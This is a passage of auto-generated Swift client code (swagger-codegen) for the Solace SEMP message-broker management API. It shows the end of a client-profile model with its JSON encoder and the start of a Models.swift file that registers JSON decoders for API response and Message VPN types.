public var maxIngressFlowCount: Int64?
/** The maximum number of subscriptions that can be created by one client. The default varies by platform. */
public var maxSubscriptionCount: Int64?
/** The maximum number of transacted sessions that can be created by one client. The default value is `10`. */
public var maxTransactedSessionCount: Int64?
/** The maximum number of transactions that can be created by one client. The default varies by platform. */
public var maxTransactionCount: Int64?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The maximum depth of the \"Control 1\" (C-1) priority queue, in work units. Each work unit is 2048 bytes of message data. The default value is `20000`. */
public var queueControl1MaxDepth: Int32?
/** The number of messages that are always allowed entry into the \"Control 1\" (C-1) priority queue, regardless of the \"queueControl1MaxDepth\" value. The default value is `4`. */
public var queueControl1MinMsgBurst: Int32?
/** The maximum depth of the \"Direct 1\" (D-1) priority queue, in work units. Each work unit is 2048 bytes of message data. The default value is `20000`. */
public var queueDirect1MaxDepth: Int32?
/** The number of messages that are always allowed entry into the \"Direct 1\" (D-1) priority queue, regardless of the \"queueDirect1MaxDepth\" value. The default value is `4`. */
public var queueDirect1MinMsgBurst: Int32?
/** The maximum depth of the \"Direct 2\" (D-2) priority queue, in work units. Each work unit is 2048 bytes of message data. The default value is `20000`. */
public var queueDirect2MaxDepth: Int32?
/** The number of messages that are always allowed entry into the \"Direct 2\" (D-2) priority queue, regardless of the \"queueDirect2MaxDepth\" value. The default value is `4`. */
public var queueDirect2MinMsgBurst: Int32?
/** The maximum depth of the \"Direct 3\" (D-3) priority queue, in work units. Each work unit is 2048 bytes of message data. The default value is `20000`. */
public var queueDirect3MaxDepth: Int32?
/** The number of messages that are always allowed entry into the \"Direct 3\" (D-3) priority queue, regardless of the \"queueDirect3MaxDepth\" value. The default value is `4`. */
public var queueDirect3MinMsgBurst: Int32?
/** The maximum depth of the \"Guaranteed 1\" (G-1) priority queue, in work units. Each work unit is 2048 bytes of message data. The default value is `20000`. */
public var queueGuaranteed1MaxDepth: Int32?
/** The number of messages that are always allowed entry into the \"Guaranteed 1\" (G-3) priority queue, regardless of the \"queueGuaranteed1MaxDepth\" value. The default value is `255`. */
public var queueGuaranteed1MinMsgBurst: Int32?
/** Enable or disable sending of a negative acknowledgement (NACK) on the discard of a message because of a message subscription was not found. The default value is `false`. Available since 2.2. */
public var rejectMsgToSenderOnNoSubscriptionMatchEnabled: Bool?
/** Allow or deny clients to connect to the Message VPN if its Replication state is standby. The default value is `false`. */
public var replicationAllowClientConnectWhenStandbyEnabled: Bool?
/** The maximum number of SMF client connections that can be simultaneously connected with the same Client Username. The default is the max value supported by the hardware. */
public var serviceSmfMaxConnectionCountPerClientUsername: Int64?
/** The timeout for inactive Web Transport client sessions, in seconds. The default value is `30`. */
public var serviceWebInactiveTimeout: Int64?
/** The maximum number of Web Transport client connections that can be simultaneously connected with the same Client Username. The default is the max value supported by the hardware. */
public var serviceWebMaxConnectionCountPerClientUsername: Int64?
/** The maximum Web Transport payload size before its fragmentation occurs, in bytes. The size of the header is not included. The default value is `1000000`. */
public var serviceWebMaxPayload: Int64?
/** The TCP initial congestion window size, in multiple of the TCP Maximum Segment Size (MSS). Changing the value from its default of 2 results in non-compliance with RFC 2581. Contact Solace Support before changing this value. The default value is `2`. */
public var tcpCongestionWindowSize: Int64?
/** The number of TCP keepalive retransmissions to be carried out before declaring that the remote end is not available. The default value is `5`. */
public var tcpKeepaliveCount: Int64?
/** The amount of time a connection must remain idle before TCP begins sending keepalive probes, in seconds. The default value is `3`. */
public var tcpKeepaliveIdleTime: Int64?
/** The amount of time between TCP keepalive retransmissions when no acknowledgement is received, in seconds. The default value is `1`. */
public var tcpKeepaliveInterval: Int64?
/** The TCP maximum segment size, in kilobytes. Changes are applied to all existing connections. The default value is `1460`. */
public var tcpMaxSegmentSize: Int64?
/** The TCP maximum window size, in kilobytes. Changes are applied to all existing connections. The default value is `256`. */
public var tcpMaxWindowSize: Int64?
/** Enable or disable allowing a client to downgrade an encrypted connection to plain text. The default value is `true`. Available since 2.8. */
public var tlsAllowDowngradeToPlainTextEnabled: Bool?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["allowBridgeConnectionsEnabled"] = self.allowBridgeConnectionsEnabled
nillableDictionary["allowCutThroughForwardingEnabled"] = self.allowCutThroughForwardingEnabled
nillableDictionary["allowGuaranteedEndpointCreateEnabled"] = self.allowGuaranteedEndpointCreateEnabled
nillableDictionary["allowGuaranteedMsgReceiveEnabled"] = self.allowGuaranteedMsgReceiveEnabled
nillableDictionary["allowGuaranteedMsgSendEnabled"] = self.allowGuaranteedMsgSendEnabled
nillableDictionary["allowTransactedSessionsEnabled"] = self.allowTransactedSessionsEnabled
nillableDictionary["apiQueueManagementCopyFromOnCreateName"] = self.apiQueueManagementCopyFromOnCreateName
nillableDictionary["apiTopicEndpointManagementCopyFromOnCreateName"] = self.apiTopicEndpointManagementCopyFromOnCreateName
nillableDictionary["clientProfileName"] = self.clientProfileName
nillableDictionary["compressionEnabled"] = self.compressionEnabled
nillableDictionary["elidingDelay"] = self.elidingDelay?.encodeToJSON()
nillableDictionary["elidingEnabled"] = self.elidingEnabled
nillableDictionary["elidingMaxTopicCount"] = self.elidingMaxTopicCount?.encodeToJSON()
nillableDictionary["eventClientProvisionedEndpointSpoolUsageThreshold"] = self.eventClientProvisionedEndpointSpoolUsageThreshold?.encodeToJSON()
nillableDictionary["eventConnectionCountPerClientUsernameThreshold"] = self.eventConnectionCountPerClientUsernameThreshold?.encodeToJSON()
nillableDictionary["eventEgressFlowCountThreshold"] = self.eventEgressFlowCountThreshold?.encodeToJSON()
nillableDictionary["eventEndpointCountPerClientUsernameThreshold"] = self.eventEndpointCountPerClientUsernameThreshold?.encodeToJSON()
nillableDictionary["eventIngressFlowCountThreshold"] = self.eventIngressFlowCountThreshold?.encodeToJSON()
nillableDictionary["eventServiceSmfConnectionCountPerClientUsernameThreshold"] = self.eventServiceSmfConnectionCountPerClientUsernameThreshold?.encodeToJSON()
nillableDictionary["eventServiceWebConnectionCountPerClientUsernameThreshold"] = self.eventServiceWebConnectionCountPerClientUsernameThreshold?.encodeToJSON()
nillableDictionary["eventSubscriptionCountThreshold"] = self.eventSubscriptionCountThreshold?.encodeToJSON()
nillableDictionary["eventTransactedSessionCountThreshold"] = self.eventTransactedSessionCountThreshold?.encodeToJSON()
nillableDictionary["eventTransactionCountThreshold"] = self.eventTransactionCountThreshold?.encodeToJSON()
nillableDictionary["maxConnectionCountPerClientUsername"] = self.maxConnectionCountPerClientUsername?.encodeToJSON()
nillableDictionary["maxEgressFlowCount"] = self.maxEgressFlowCount?.encodeToJSON()
nillableDictionary["maxEndpointCountPerClientUsername"] = self.maxEndpointCountPerClientUsername?.encodeToJSON()
nillableDictionary["maxIngressFlowCount"] = self.maxIngressFlowCount?.encodeToJSON()
nillableDictionary["maxSubscriptionCount"] = self.maxSubscriptionCount?.encodeToJSON()
nillableDictionary["maxTransactedSessionCount"] = self.maxTransactedSessionCount?.encodeToJSON()
nillableDictionary["maxTransactionCount"] = self.maxTransactionCount?.encodeToJSON()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["queueControl1MaxDepth"] = self.queueControl1MaxDepth?.encodeToJSON()
nillableDictionary["queueControl1MinMsgBurst"] = self.queueControl1MinMsgBurst?.encodeToJSON()
nillableDictionary["queueDirect1MaxDepth"] = self.queueDirect1MaxDepth?.encodeToJSON()
nillableDictionary["queueDirect1MinMsgBurst"] = self.queueDirect1MinMsgBurst?.encodeToJSON()
nillableDictionary["queueDirect2MaxDepth"] = self.queueDirect2MaxDepth?.encodeToJSON()
nillableDictionary["queueDirect2MinMsgBurst"] = self.queueDirect2MinMsgBurst?.encodeToJSON()
nillableDictionary["queueDirect3MaxDepth"] = self.queueDirect3MaxDepth?.encodeToJSON()
nillableDictionary["queueDirect3MinMsgBurst"] = self.queueDirect3MinMsgBurst?.encodeToJSON()
nillableDictionary["queueGuaranteed1MaxDepth"] = self.queueGuaranteed1MaxDepth?.encodeToJSON()
nillableDictionary["queueGuaranteed1MinMsgBurst"] = self.queueGuaranteed1MinMsgBurst?.encodeToJSON()
nillableDictionary["rejectMsgToSenderOnNoSubscriptionMatchEnabled"] = self.rejectMsgToSenderOnNoSubscriptionMatchEnabled
nillableDictionary["replicationAllowClientConnectWhenStandbyEnabled"] = self.replicationAllowClientConnectWhenStandbyEnabled
nillableDictionary["serviceSmfMaxConnectionCountPerClientUsername"] = self.serviceSmfMaxConnectionCountPerClientUsername?.encodeToJSON()
nillableDictionary["serviceWebInactiveTimeout"] = self.serviceWebInactiveTimeout?.encodeToJSON()
nillableDictionary["serviceWebMaxConnectionCountPerClientUsername"] = self.serviceWebMaxConnectionCountPerClientUsername?.encodeToJSON()
nillableDictionary["serviceWebMaxPayload"] = self.serviceWebMaxPayload?.encodeToJSON()
nillableDictionary["tcpCongestionWindowSize"] = self.tcpCongestionWindowSize?.encodeToJSON()
nillableDictionary["tcpKeepaliveCount"] = self.tcpKeepaliveCount?.encodeToJSON()
nillableDictionary["tcpKeepaliveIdleTime"] = self.tcpKeepaliveIdleTime?.encodeToJSON()
nillableDictionary["tcpKeepaliveInterval"] = self.tcpKeepaliveInterval?.encodeToJSON()
nillableDictionary["tcpMaxSegmentSize"] = self.tcpMaxSegmentSize?.encodeToJSON()
nillableDictionary["tcpMaxWindowSize"] = self.tcpMaxWindowSize?.encodeToJSON()
nillableDictionary["tlsAllowDowngradeToPlainTextEnabled"] = self.tlsAllowDowngradeToPlainTextEnabled
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models.swift
// Models.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
protocol JSONEncodable {
func encodeToJSON() -> AnyObject
}
public enum ErrorResponse : ErrorType {
case Error(Int, NSData?, ErrorType)
}
public class Response<T> {
public let statusCode: Int
public let header: [String: String]
public let body: T?
public init(statusCode: Int, header: [String: String], body: T?) {
self.statusCode = statusCode
self.header = header
self.body = body
}
public convenience init(response: NSHTTPURLResponse, body: T?) {
let rawHeader = response.allHeaderFields
var header = [String:String]()
for case let (key, value) as (String, String) in rawHeader {
header[key] = value
}
self.init(statusCode: response.statusCode, header: header, body: body)
}
}
private var once = dispatch_once_t()
class Decoders {
static private var decoders = Dictionary<String, ((AnyObject) -> AnyObject)>()
static func addDecoder<T>(clazz clazz: T.Type, decoder: ((AnyObject) -> T)) {
let key = "\(T.self)"
decoders[key] = { decoder($0) as! AnyObject }
}
static func decode<T>(clazz clazz: [T].Type, source: AnyObject) -> [T] {
let array = source as! [AnyObject]
return array.map { Decoders.decode(clazz: T.self, source: $0) }
}
static func decode<T, Key: Hashable>(clazz clazz: [Key:T].Type, source: AnyObject) -> [Key:T] {
let sourceDictionary = source as! [Key: AnyObject]
var dictionary = [Key:T]()
for (key, value) in sourceDictionary {
dictionary[key] = Decoders.decode(clazz: T.self, source: value)
}
return dictionary
}
static func decode<T>(clazz clazz: T.Type, source: AnyObject) -> T {
initialize()
if T.self is Int32.Type && source is NSNumber {
return source.intValue as! T;
}
if T.self is Int64.Type && source is NSNumber {
return source.longLongValue as! T;
}
if T.self is NSUUID.Type && source is String {
return NSUUID(UUIDString: source as! String) as! T
}
if source is T {
return source as! T
}
if T.self is NSData.Type && source is String {
return NSData(base64EncodedString: source as! String, options: NSDataBase64DecodingOptions()) as! T
}
let key = "\(T.self)"
if let decoder = decoders[key] {
return decoder(source) as! T
} else {
fatalError("Source \(source) is not convertible to type \(clazz): Maybe swagger file is insufficient")
}
}
static func decodeOptional<T>(clazz clazz: T.Type, source: AnyObject?) -> T? {
if source is NSNull {
return nil
}
return source.map { (source: AnyObject) -> T in
Decoders.decode(clazz: clazz, source: source)
}
}
static func decodeOptional<T>(clazz clazz: [T].Type, source: AnyObject?) -> [T]? {
if source is NSNull {
return nil
}
return source.map { (someSource: AnyObject) -> [T] in
Decoders.decode(clazz: clazz, source: someSource)
}
}
static func decodeOptional<T, Key: Hashable>(clazz clazz: [Key:T].Type, source: AnyObject?) -> [Key:T]? {
if source is NSNull {
return nil
}
return source.map { (someSource: AnyObject) -> [Key:T] in
Decoders.decode(clazz: clazz, source: someSource)
}
}
static private func initialize() {
dispatch_once(&once) {
let formatters = [
"yyyy-MM-dd",
"yyyy-MM-dd'T'HH:mm:ssZZZZZ",
"yyyy-MM-dd'T'HH:mm:ss.SSSZZZZZ",
"yyyy-MM-dd'T'HH:mm:ss'Z'",
"yyyy-MM-dd'T'HH:mm:ss.SSS"
].map { (format: String) -> NSDateFormatter in
let formatter = NSDateFormatter()
formatter.locale = NSLocale(localeIdentifier:"en_US_POSIX")
formatter.dateFormat = format
return formatter
}
// Decoder for NSDate
Decoders.addDecoder(clazz: NSDate.self) { (source: AnyObject) -> NSDate in
if let sourceString = source as? String {
for formatter in formatters {
if let date = formatter.dateFromString(sourceString) {
return date
}
}
}
if let sourceInt = source as? Int {
// treat as a java date
return NSDate(timeIntervalSince1970: Double(sourceInt / 1000) )
}
fatalError("formatter failed to parse \(source)")
}
// Decoder for ISOFullDate
Decoders.addDecoder(clazz: ISOFullDate.self, decoder: { (source: AnyObject) -> ISOFullDate in
if let string = source as? String,
let isoDate = ISOFullDate.from(string: string) {
return isoDate
}
fatalError("formatter failed to parse \(source)")
})
// Decoder for [AboutApi]
Decoders.addDecoder(clazz: [AboutApi].self) { (source: AnyObject) -> [AboutApi] in
return Decoders.decode(clazz: [AboutApi].self, source: source)
}
// Decoder for AboutApi
Decoders.addDecoder(clazz: AboutApi.self) { (source: AnyObject) -> AboutApi in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutApi()
instance.platform = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["platform"])
instance.sempVersion = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["sempVersion"])
return instance
}
// Decoder for [AboutApiLinks]
Decoders.addDecoder(clazz: [AboutApiLinks].self) { (source: AnyObject) -> [AboutApiLinks] in
return Decoders.decode(clazz: [AboutApiLinks].self, source: source)
}
// Decoder for AboutApiLinks
Decoders.addDecoder(clazz: AboutApiLinks.self) { (source: AnyObject) -> AboutApiLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutApiLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [AboutApiResponse]
Decoders.addDecoder(clazz: [AboutApiResponse].self) { (source: AnyObject) -> [AboutApiResponse] in
return Decoders.decode(clazz: [AboutApiResponse].self, source: source)
}
// Decoder for AboutApiResponse
Decoders.addDecoder(clazz: AboutApiResponse.self) { (source: AnyObject) -> AboutApiResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutApiResponse()
instance.data = Decoders.decodeOptional(clazz: AboutApi.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: AboutApiLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [AboutUser]
Decoders.addDecoder(clazz: [AboutUser].self) { (source: AnyObject) -> [AboutUser] in
return Decoders.decode(clazz: [AboutUser].self, source: source)
}
// Decoder for AboutUser
Decoders.addDecoder(clazz: AboutUser.self) { (source: AnyObject) -> AboutUser in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUser()
instance.globalAccessLevel = AboutUser.GlobalAccessLevel(rawValue: (sourceDictionary["globalAccessLevel"] as? String) ?? "")
return instance
}
// Decoder for [AboutUserLinks]
Decoders.addDecoder(clazz: [AboutUserLinks].self) { (source: AnyObject) -> [AboutUserLinks] in
return Decoders.decode(clazz: [AboutUserLinks].self, source: source)
}
// Decoder for AboutUserLinks
Decoders.addDecoder(clazz: AboutUserLinks.self) { (source: AnyObject) -> AboutUserLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUserLinks()
instance.msgVpnsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnsUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [AboutUserMsgVpn]
Decoders.addDecoder(clazz: [AboutUserMsgVpn].self) { (source: AnyObject) -> [AboutUserMsgVpn] in
return Decoders.decode(clazz: [AboutUserMsgVpn].self, source: source)
}
// Decoder for AboutUserMsgVpn
Decoders.addDecoder(clazz: AboutUserMsgVpn.self) { (source: AnyObject) -> AboutUserMsgVpn in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUserMsgVpn()
instance.accessLevel = AboutUserMsgVpn.AccessLevel(rawValue: (sourceDictionary["accessLevel"] as? String) ?? "")
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
return instance
}
// Decoder for [AboutUserMsgVpnLinks]
Decoders.addDecoder(clazz: [AboutUserMsgVpnLinks].self) { (source: AnyObject) -> [AboutUserMsgVpnLinks] in
return Decoders.decode(clazz: [AboutUserMsgVpnLinks].self, source: source)
}
// Decoder for AboutUserMsgVpnLinks
Decoders.addDecoder(clazz: AboutUserMsgVpnLinks.self) { (source: AnyObject) -> AboutUserMsgVpnLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUserMsgVpnLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [AboutUserMsgVpnResponse]
Decoders.addDecoder(clazz: [AboutUserMsgVpnResponse].self) { (source: AnyObject) -> [AboutUserMsgVpnResponse] in
return Decoders.decode(clazz: [AboutUserMsgVpnResponse].self, source: source)
}
// Decoder for AboutUserMsgVpnResponse
Decoders.addDecoder(clazz: AboutUserMsgVpnResponse.self) { (source: AnyObject) -> AboutUserMsgVpnResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUserMsgVpnResponse()
instance.data = Decoders.decodeOptional(clazz: AboutUserMsgVpn.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: AboutUserMsgVpnLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [AboutUserMsgVpnsResponse]
Decoders.addDecoder(clazz: [AboutUserMsgVpnsResponse].self) { (source: AnyObject) -> [AboutUserMsgVpnsResponse] in
return Decoders.decode(clazz: [AboutUserMsgVpnsResponse].self, source: source)
}
// Decoder for AboutUserMsgVpnsResponse
Decoders.addDecoder(clazz: AboutUserMsgVpnsResponse.self) { (source: AnyObject) -> AboutUserMsgVpnsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUserMsgVpnsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [AboutUserResponse]
Decoders.addDecoder(clazz: [AboutUserResponse].self) { (source: AnyObject) -> [AboutUserResponse] in
return Decoders.decode(clazz: [AboutUserResponse].self, source: source)
}
// Decoder for AboutUserResponse
Decoders.addDecoder(clazz: AboutUserResponse.self) { (source: AnyObject) -> AboutUserResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = AboutUserResponse()
instance.data = Decoders.decodeOptional(clazz: AboutUser.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: AboutUserLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [EventThreshold]
Decoders.addDecoder(clazz: [EventThreshold].self) { (source: AnyObject) -> [EventThreshold] in
return Decoders.decode(clazz: [EventThreshold].self, source: source)
}
// Decoder for EventThreshold
Decoders.addDecoder(clazz: EventThreshold.self) { (source: AnyObject) -> EventThreshold in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = EventThreshold()
instance.clearPercent = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["clearPercent"])
instance.clearValue = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["clearValue"])
instance.setPercent = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["setPercent"])
instance.setValue = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["setValue"])
return instance
}
// Decoder for [EventThresholdByPercent]
Decoders.addDecoder(clazz: [EventThresholdByPercent].self) { (source: AnyObject) -> [EventThresholdByPercent] in
return Decoders.decode(clazz: [EventThresholdByPercent].self, source: source)
}
// Decoder for EventThresholdByPercent
Decoders.addDecoder(clazz: EventThresholdByPercent.self) { (source: AnyObject) -> EventThresholdByPercent in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = EventThresholdByPercent()
instance.clearPercent = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["clearPercent"])
instance.setPercent = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["setPercent"])
return instance
}
// Decoder for [EventThresholdByValue]
Decoders.addDecoder(clazz: [EventThresholdByValue].self) { (source: AnyObject) -> [EventThresholdByValue] in
return Decoders.decode(clazz: [EventThresholdByValue].self, source: source)
}
// Decoder for EventThresholdByValue
Decoders.addDecoder(clazz: EventThresholdByValue.self) { (source: AnyObject) -> EventThresholdByValue in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = EventThresholdByValue()
instance.clearValue = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["clearValue"])
instance.setValue = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["setValue"])
return instance
}
// Decoder for [MsgVpn]
Decoders.addDecoder(clazz: [MsgVpn].self) { (source: AnyObject) -> [MsgVpn] in
return Decoders.decode(clazz: [MsgVpn].self, source: source)
}
// Decoder for MsgVpn
Decoders.addDecoder(clazz: MsgVpn.self) { (source: AnyObject) -> MsgVpn in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpn()
instance.authenticationBasicEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["authenticationBasicEnabled"])
instance.authenticationBasicProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authenticationBasicProfileName"])
instance.authenticationBasicRadiusDomain = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authenticationBasicRadiusDomain"])
instance.authenticationBasicType = MsgVpn.AuthenticationBasicType(rawValue: (sourceDictionary["authenticationBasicType"] as? String) ?? "")
instance.authenticationClientCertAllowApiProvidedUsernameEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["authenticationClientCertAllowApiProvidedUsernameEnabled"])
instance.authenticationClientCertEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["authenticationClientCertEnabled"])
instance.authenticationClientCertMaxChainDepth = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["authenticationClientCertMaxChainDepth"])
instance.authenticationClientCertRevocationCheckMode = MsgVpn.AuthenticationClientCertRevocationCheckMode(rawValue: (sourceDictionary["authenticationClientCertRevocationCheckMode"] as? String) ?? "")
instance.authenticationClientCertUsernameSource = MsgVpn.AuthenticationClientCertUsernameSource(rawValue: (sourceDictionary["authenticationClientCertUsernameSource"] as? String) ?? "")
instance.authenticationClientCertValidateDateEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["authenticationClientCertValidateDateEnabled"])
instance.authenticationKerberosAllowApiProvidedUsernameEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["authenticationKerberosAllowApiProvidedUsernameEnabled"])
instance.authenticationKerberosEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["authenticationKerberosEnabled"])
instance.authorizationLdapGroupMembershipAttributeName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authorizationLdapGroupMembershipAttributeName"])
instance.authorizationProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authorizationProfileName"])
instance.authorizationType = MsgVpn.AuthorizationType(rawValue: (sourceDictionary["authorizationType"] as? String) ?? "")
instance.bridgingTlsServerCertEnforceTrustedCommonNameEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["bridgingTlsServerCertEnforceTrustedCommonNameEnabled"])
instance.bridgingTlsServerCertMaxChainDepth = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["bridgingTlsServerCertMaxChainDepth"])
instance.bridgingTlsServerCertValidateDateEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["bridgingTlsServerCertValidateDateEnabled"])
instance.distributedCacheManagementEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["distributedCacheManagementEnabled"])
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.eventConnectionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventConnectionCountThreshold"])
instance.eventEgressFlowCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventEgressFlowCountThreshold"])
instance.eventEgressMsgRateThreshold = Decoders.decodeOptional(clazz: EventThresholdByValue.self, source: sourceDictionary["eventEgressMsgRateThreshold"])
instance.eventEndpointCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventEndpointCountThreshold"])
instance.eventIngressFlowCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventIngressFlowCountThreshold"])
instance.eventIngressMsgRateThreshold = Decoders.decodeOptional(clazz: EventThresholdByValue.self, source: sourceDictionary["eventIngressMsgRateThreshold"])
instance.eventLargeMsgThreshold = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["eventLargeMsgThreshold"])
instance.eventLogTag = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["eventLogTag"])
instance.eventMsgSpoolUsageThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventMsgSpoolUsageThreshold"])
instance.eventPublishClientEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["eventPublishClientEnabled"])
instance.eventPublishMsgVpnEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["eventPublishMsgVpnEnabled"])
instance.eventPublishSubscriptionMode = MsgVpn.EventPublishSubscriptionMode(rawValue: (sourceDictionary["eventPublishSubscriptionMode"] as? String) ?? "")
instance.eventPublishTopicFormatMqttEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["eventPublishTopicFormatMqttEnabled"])
instance.eventPublishTopicFormatSmfEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["eventPublishTopicFormatSmfEnabled"])
instance.eventServiceAmqpConnectionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceAmqpConnectionCountThreshold"])
instance.eventServiceMqttConnectionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceMqttConnectionCountThreshold"])
instance.eventServiceRestIncomingConnectionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceRestIncomingConnectionCountThreshold"])
instance.eventServiceSmfConnectionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceSmfConnectionCountThreshold"])
instance.eventServiceWebConnectionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceWebConnectionCountThreshold"])
instance.eventSubscriptionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventSubscriptionCountThreshold"])
instance.eventTransactedSessionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventTransactedSessionCountThreshold"])
instance.eventTransactionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventTransactionCountThreshold"])
instance.exportSubscriptionsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["exportSubscriptionsEnabled"])
instance.jndiEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["jndiEnabled"])
instance.maxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxConnectionCount"])
instance.maxEgressFlowCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxEgressFlowCount"])
instance.maxEndpointCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxEndpointCount"])
instance.maxIngressFlowCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxIngressFlowCount"])
instance.maxMsgSpoolUsage = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxMsgSpoolUsage"])
instance.maxSubscriptionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxSubscriptionCount"])
instance.maxTransactedSessionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTransactedSessionCount"])
instance.maxTransactionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTransactionCount"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.replicationAckPropagationIntervalMsgCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["replicationAckPropagationIntervalMsgCount"])
instance.replicationBridgeAuthenticationBasicClientUsername = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicationBridgeAuthenticationBasicClientUsername"])
instance.replicationBridgeAuthenticationBasicPassword = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicationBridgeAuthenticationBasicPassword"])
